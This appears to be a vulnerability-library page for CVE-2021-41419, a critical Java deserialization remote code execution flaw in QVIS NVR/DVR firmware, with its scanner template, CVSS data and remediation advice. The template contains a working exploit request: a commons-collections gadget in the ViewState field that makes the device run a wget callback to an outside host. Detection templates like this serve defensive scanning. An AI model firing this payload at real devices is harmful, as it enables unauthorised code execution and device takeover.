/Vulnerability Library

QVIS NVR/DVR - Remote Code Execution

CVE-2021-41419
Verified

Description

QVIS NVR DVR before 2021-12-13 is vulnerable to Remote Code Execution via Java deserialization.

Severity

Critical

CVSS Score

9.8

Exploit Probability

77%

Affected Product

dvr_firmware

Published Date

July 18, 2021

Template Author

me9187

CVE-2021-41419.yaml
id: CVE-2021-41419

info:
  name: QVIS NVR/DVR - Remote Code Execution
  author: me9187
  severity: critical
  description: |
    QVIS NVR DVR before 2021-12-13 is vulnerable to Remote Code Execution via Java deserialization.
  impact: |
    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version or apply security patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41419
    - https://gist.github.com/Meeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee/712ac36c8a08e2698e875169442a23a4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-41419
    cwe-id: CWE-502
    epss-score: 0.77145
    epss-percentile: 0.98988
    cpe: cpe:2.3:o:qvis:dvr_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: qvis
    product: dvr_firmware
  tags: cve,cve2021,qvisdvr,rce,deserialization,jsf,iot,oast,vkev

http:
  - raw:
      - |
        GET /qvisdvr/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}

    extractors:
      - type: regex
        name: token
        group: 1
        internal: true
        part: header
        regex:
          - "JSESSIONID=(.*)"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100c6dc2fcfc48e67f4b8abf7164ceb62f891e24439e8c80a30558ee9b943405342022100da4588300ce59b401a1982cb199407888b3a7d5b93592f3b6cd212b3c9aa4fa9:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2021-41419
CWE ID:
cwe-502

References

https://nvd.nist.gov/vuln/detail/CVE-2021-41419https://gist.github.com/Meeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee/712ac36c8a08e2698e875169442a23a4

Remediation Steps

Update to the latest version or apply security patches provided by the vendor.